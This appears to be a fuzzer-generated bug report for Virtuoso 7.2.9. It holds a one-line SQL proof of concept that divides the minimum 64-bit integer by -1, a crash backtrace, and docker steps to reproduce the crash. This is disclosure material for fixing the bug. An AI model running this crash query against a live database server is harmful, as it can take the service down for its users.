The PoC is generated by my DBMS fuzzer.

SELECT CAST('-9223372036854775808’ AS INTEGER) / CAST('-1’ AS SMALLINT);

backtrace:

#0 0xc227a4 (artm_div_int+0xf4) #1 0xc23766 (artm_vec+0x7d6) #2 0x7518c2 (code_vec_run_v+0x10e2) #3 0x7ac3ff (qn_input+0x38f) #4 0x7ac8a6 (qn_send_output+0x236) #5 0x81e26d (set_ctr_vec_input+0x94d) #6 0x7ac43e (qn_input+0x3ce) #7 0x7bdc6e (qr_exec+0x11ee) #8 0x7cb446 (sf_sql_execute+0x11a6) #9 0x7cbf4e (sf_sql_execute_w+0x17e) #10 0x7d4c0d (sf_sql_execute_wrapper+0x3d) #11 0xe1f01c (future_wrapper+0x3fc) #12 0xe2691e (_thread_boot+0x11e) #13 0x7eff81a0c609 (start_thread+0xd9) #14 0x7eff817dc133 (clone+0x43)

ways to reproduce (write poc to the file ‘/tmp/test.sql’ first):

remove the old one

docker container rm virtdb_test -f

start virtuoso through docker

docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9

wait the server starting

sleep 10

check whether the simple query works

echo “SELECT 1;” | docker exec -i virtdb_test isql 1111 dba

run the poc

docker exec -i virtdb_test isql 1111 dba < “/tmp/test.sql”
